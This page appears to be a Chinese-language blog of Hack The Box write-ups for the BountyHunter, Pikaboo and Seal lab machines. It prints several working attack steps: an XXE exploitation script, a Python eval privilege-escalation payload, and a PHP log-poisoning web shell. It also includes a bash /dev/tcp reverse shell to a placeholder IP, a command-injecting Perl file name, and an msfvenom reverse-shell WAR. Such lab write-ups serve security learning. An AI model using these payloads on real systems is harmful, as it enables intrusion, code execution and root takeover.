HTB TwoDots Horror
HTB Bolt Machine [MEDIUM]
HTB Horizontall Machine [EASY]
HTB WAFfle-y Order
HTB Writer Machine [MEDIUM]
HTB Previse Machine [EASY]
HTB BountyHunter Machine [EASY]
BountyHunter
端口扫描
1 | PORT STATE SERVICE REASON VERSION 22/tcp open ssh syn-ack ttl 63 OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0) |
User
网站主页发现如下注释:
To configure the contact form email address, go to mail/contact_me.php and update the email address in the PHP file on line 19.
dirsearch
使用字典directory-list-2.3-medium.txt
发现如下目录
1 | [04:33:35] Starting: |
/resources
目录的README.txt
包含待办任务列表
1 | [ ] Disable 'test' account on portal and switch to hashed password. Disable nopass. |
从首页的PORTAL
进入portal.php
,portal.php
页面存在一个到http://10.10.11.100/log_submit.php
的链接
查看log_submit.php
页面加载的bountylog.js
,可以看到上图填写的表单数据将转换为XML
格式并进行Base64
编码后提交
1 | function returnSecret(data) { |
tracker_diRbPr00f314.php
存在XXE
,编写如下Bash
脚本方便利用XXE
读取文件
1 | #!/bin/bash |
通过PHP wrapper
读取PHP
文件源码,经过一些尝试找到文件db.php
,使用xxe.sh php://filter/convert.base64-encode/resource=db.php
读取其内容,将得到的Base64
编码的字符串解码后得到密码m19RoAU0hP41A1sTsq6K
1 | <?php |
读取/etc/passwd
可以得到用户名development
,使用development:m19RoAU0hP41A1sTsq6K
登录SSH
1 | development@bountyhunter:~$ cat user.txt |
Root
执行sudo -l
,发现development
能够以root
权限执行命令/usr/bin/python3.8 /opt/skytrain_inc/ticketValidator.py
1 | development@bountyhunter:/bin$ sudo -l |
/opt/skytrain_inc/ticketValidator.py
中能够导致提权的关键代码如下
1 | if code_line and i == code_line: |
当x
变量的值为**11+__import__('os').system('/bin/bash -p')
时,将执行eval("11+__import__('os').system('/bin/bash -p')")
,最后以root
权限运行bash
在/home/development
目录创建名为exp.md
的文件,内容如下
1 | # Skytrain Inc |
执行sudo /usr/bin/python3.8 /opt/skytrain_inc/ticketValidator.py
,输入exp.md
所在路径/home/development/exp.md
,成功得到root
权限
1 | development@bountyhunter:~$ sudo /usr/bin/python3.8 /opt/skytrain_inc/ticketValidator.py |
HTB Pikaboo Machine [HARD]
Pikaboo
端口扫描
1 | PORT STATE SERVICE REASON VERSION |
User Flag
FTP
服务无法匿名登录,先看看Web部分
Nginx/1.14.2
服务器设置为反向代理,实际请求由侦听在127.0.0.1:81
的Apache/2.4.38
处理
后端语言为PHP
,浏览网页找到的路径有
/index.php
/pokatdex.php
/pokeapi.php
/admin*
/images
/artwork
其中/admin*
要求Basic
认证
1 | $ curl 'http://pikaboo.htb/admin' -I |
/pokeapi.php
有一个id
参数,但无论怎么填写,返回的页面都提示"PokeAPI Integration - Coming soon!"
/images/
返回403
,但在请求/images
时的302
响应中泄露了Apache
的一个路径/pokatdex
1 | $ curl 'http://pikaboo.htb/images' |
根据/admin*
路径的行为(*
通配符代表/admin
之后的部分可以任意匹配),推测Nginx
针对/admin
的location
为
1 | location /admin { |
这条location
规则可以通过/admin../
实现路径穿越
结合前面/images
的302
响应中泄露的路径/pokatdex
,可以构造URL:http://pikaboo.htb/admin../pokatdex/
浏览该URL,返回的页面与http://pikaboo.htb/
相同
这说明http://pikaboo.htb/admin../pokatdex
会被Nginx
转发到http://127.0.0.1:81/pokatdex/../pokatdex
,因此存在路径穿越
既然现在可以访问Apache
服务器的/
目录,那么来枚举一下/
目录中有哪些文件/目录,使用的字典为apache.txt
1 | $ rustbuster dir -u http://pikaboo.htb/admin.. -f -e php,txt,bak,xml -w /usr/share/seclists/Discovery/Web-Content/apache.txt -t 64 -k -S 404 |
查看/server-status
,在页面中找到路径/admin_staging
浏览http://pikaboo.htb/admin../admin_staging/
,页面如下
点击左侧”User Profile”,页面跳转到http://pikaboo.htb/admin../admin_staging/index.php?page=user.php
,该URL
的page
参数可能存在LFI
访问http://pikaboo.htb/admin../admin_staging/index.php?page=../pokatdex/index.php
成功加载/pokatdex/index.php
文件
使用php://filTer/convert.base64-encode/resource=index.php
读取当前页面源码,发现page
参数直接作为include
的参数,也就是include
的文件路径没有任何限制
1 | if(isset($_GET['page'])) { |
尝试从LFI
到RCE
,试过/etc/passwd
和各种Web
服务器日志文件路径,全都无法读取(php-fpm
的配置限制了这些文件所在目录的访问权限?),只有vsftpd
的日志文件/var/log/vsftpd.log
可以读取
使用ftp
命令,输入<?php echo system($_GET['cmd']); ?>
作为用户名,令该用户名写入/var/log/vsftpd.log
日志中
访问http://pikaboo.htb/admin../admin_staging/index.php?page=/var/log/vsftpd.log&cmd=whoami
测试是否生效
执行bash -c 'bash -i >%26 /dev/tcp/YOUR_IP/4242 0>%261'
,获得Reverse Shell
(目标主机经常清理/var/log/vsftpd.log
,如果没有得到shell
,可以重复ftp
步骤)
读取/home/pwnmeow/user.txt
获取user flag
1 | www-data@pikaboo:/$ cat /home/pwnmeow/user.txt |
Root Flag
查看/etc/vsftpd.conf
,发现vsftpd
通过LDAP
进行身份认证
1 | virtual_use_local_privs=YES |
找了半天在/opt/pokeapi/config/settings.py
文件中找到LDAP
服务的用户名和密码(运行linpeas.sh -a
没有提示settings.py
,因为/opt
不在linpeas.sh
的默认密码查找目录列表中,尽管/opt/pokeapi/config/settings.py
中有PASSWORD
关键词)
1 | DATABASES = { |
使用用户名cn=binduser,ou=users,dc=pikaboo,dc=htb
和密码J~42%W?PFHl]g
获取LDAP
中pwnmeow
用户的密码
1 | www-data@pikaboo:/$ ldapsearch -LLL -W -x -H ldap://127.0.0.1 -D 'cn=binduser,ou=users,dc=pikaboo,dc=htb' -b 'ou=users,dc=ftp,dc=pikaboo,dc=htb' |
Base64
解码userPassword
的值得到pwnmeow
的密码为_G0tT4_C4tcH_'3m_4lL!_
1 | www-data@pikaboo:/$ echo 'X0cwdFQ0X0M0dGNIXyczbV80bEwhXw==' | base64 -d |
目标主机cron service
会定期以root
权限运行/usr/local/bin/csvupdate_cron
,csvupdate_cron
脚本代码如下
1 | #!/bin/bash |
该脚本对/srv/ftp
的每个子目录执行/usr/local/bin/csvupdate {SUBDIR} *csv
,csvupdate
脚本代码如下(经简化)
1 | use strict; |
csvupdate
的参数分为两部分
1 | csvupdate [type] [csv_file]... |
type
参数用于从$csv_fields
表中查找字段数,例如type=abilities
时,$csv_fields{$type}
得到的字段数为4
('abilities' => 4
)csv_file
参数可以传入任意数量,csvupdate
读取并解析csv_file
指向的文件
csvupdate
通过for(<>)
依次读取这些csv_file
的内容,调用$csv->parse($_)
解析CSV
格式内容,然后判断CSV
的字段数是否与type
要求的字段数相同,如果相同则CSV
文件的内容会被写到/opt/pokeapi/data/v2/csv/${type}.csv
中
可被用来提权的点就在for(<>)
,for(<>)
实际会调用open
函数,而Perl
中的open
函数可以用于执行系统命令,相关细节参考
要利用open
的这一特性需要该函数的文件名参数
可控,在csvupdate
脚本中该文件名参数
就是csv_file
,而pwnmeow
用户所属ftp
组,具有上传文件到/srv/ftp
子目录的权限
通过上传后缀为csv
的Payload
文件名到任意/srv/ftp
子目录中,可由csvupdate_cron
脚本将文件名作为csv_file
参数传递给csvupdate
脚本,最终csvupdate
的for(<>)
调用open
函数并传入该Payload
执行以下命令在本地创建Payload
,该Payload
中的命令用于拷贝bash
到/srv/ftp
,并设置/srv/bash
的SUID
位
1 | touch ' | cp $(which bash) .. | bash -c ''chmod +s "..$(echo -e \\x2f)bash"'' | csv' |
然后使用凭据pwnmeow:_G0tT4_C4tcH_'3m_4lL!_
登录FTP
服务,执行以下命令上传该Payload
文件
1 | ftp> cd types |
最后,执行/srv/ftp/bash -p
获得root
权限
1 | $ /srv/ftp/bash -p |
附加
PHP
的/etc/php/7.3/apache2/php.ini
中设置open_basedir
为/var/
(/var
添加/
结尾代表仅允许访问/var
目录。如果结尾不加/
,则只允许访问以/var
开头的路径,例如像/variable/file
这样的路径也是可以访问的)
1 | open_basedir = /var/ |
Apache
的日志文件权限设置为只有root
或adm
组的用户可读
1 | bash-5.0\# ls -la /var/log/apache2/access.log |
所以才无法读取/etc/passwd
和Apache
的日志
参考
HTB Seal Machine [MEDIUM]
端口扫描
1 | $ rustscan --accessible -a 10.129.139.79 --range 1-65535 --ulimit 5000 -- -sT -A -n -oN ports -Pn |
443 Port
枚举443
端口的目录与文件
1 | $ rustbuster dir -u https://seal.htb/ -f -e php,txt,json,xml -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 64 -S 404 -k |
https://seal.htb/manager/
为Tomcat Manager
,/manager/text
需要认证才能访问https://seal.htb/admin/dashboard*
响应状态码为403
/manager/html
与/dashboard
均由Nginx
返回403
页面
8080 Port
8080
端口部署了GitBucket
,访问后跳转到登录页面
注册并登录后,发现root
的2个Git存储库
seal_market
存储库中是443
端口上部署的Web应用的源码以及配置文件,而在该存储库中可能有Tomcat Manager
的凭据
Git历史提交记录如下
User Tomcat
在描述为“Updating tomcat configuration”
的Commit
中找到用户名与密码
1 | <user username="tomcat" password="42MrHBf*z8{Z%" roles="manager-gui,admin-gui"/> |
根据tomcat
用户的roles=manager-gui,admin-gui
,我们只能用该用户访问/manager/html
和/manager/status
页面,但是对于/manager/html
页面会直接返回403
,无法进行认证
在描述为“Updating nginx configuration”
的Commit
中找到对nginx.conf
的修改,发现Nginx
会验证客户端,但我们可以使用.;/
进行绕过,URL为https://seal.htb/manager/.;/html
当URI为/manager/.;/html
时,Nginx
匹配到如下location
,直接将请求转发到Tomcat
请求被转发到Tomcat
后,Tomcat
会将/manager/.;/html
理解为/manager/./html
,最终返回/manager/html
页面
使用前面的凭据通过认证后,接下来部署我们的reverse_shell.war
到服务器上
首先,使用msfvenom
生成revshell.war
1 | $ msfvenom -p java/jsp_shell_reverse_tcp LHOST=YOUR_IP LPORT=4242 -f war -o revshell.war |
在/manager/html
上传并部署revshell.war
需要注意的是,这里要在Deploy
请求的URL中添加.;/
,否则还是会返回403
也可以不用Burp
,直接修改HTML中form
表单的URL即可
部署完成后,到reverse shell
的URI显示在/manager/.;/html
页面中
运行nc
侦听在4242
端口,访问https://seal.htb/revshell
得到shell
User Luis
在/opt/backup/playbook/run.yml
中发现playbook
会将/var/lib/tomcat9/webapps/ROOT/admin/dashboard
目录下的文件备份到/opt/backups/files
,并压缩为GZ文件
1 | tomcat@seal:/opt/backups/playbook$ cat run.yml |
如果在/var/lib/tomcat9/webapps/ROOT/admin/dashboard
目录下创建符号链接,则能够以运行该备份任务的用户的权限读取特定文件
查看dashboard
及其子目录的写入权限
1 | tomcat@seal:/opt/backups/playbook$ ls -la /var/lib/tomcat9/webapps/ROOT/admin/dashboard |
我们具有对/var/lib/tomcat9/webapps/ROOT/admin/dashboard/uploads
目录的写权限,执行以下命令创建到/home/luis/.ssh/id_rsa
的符号链接
1 | ln -s /home/luis/.ssh/id_rsa /var/lib/tomcat9/webapps/ROOT/admin/dashboard/uploads/id_rsa |
等待1分钟后,将/opt/backups/archives
目录下最新的备份文件解压,读取luis
的id_rsa
1 | cp archives/backup-2021-07-12-09\:50\:34.gz /tmp/backup.gz |
SSH登录luis
用户,读取user.txt
1 | luis@seal:~$ cat user.txt |
Root
执行sudo -l
发现luis
可以以root
权限执行/usr/bin/ansible-playbook
1 | luis@seal:~$ sudo -l |
我们可以参考/opt/backups/playbook/run.yml
编写一个备份/root
目录的playbook
将以下内容写入exp.yml
,执行命令sudo /usr/bin/ansible-playbook exp.yml
1 | - hosts: localhost |
最后解压/tmp/root.gz
,读取root.txt
1 | gunzip root.gz |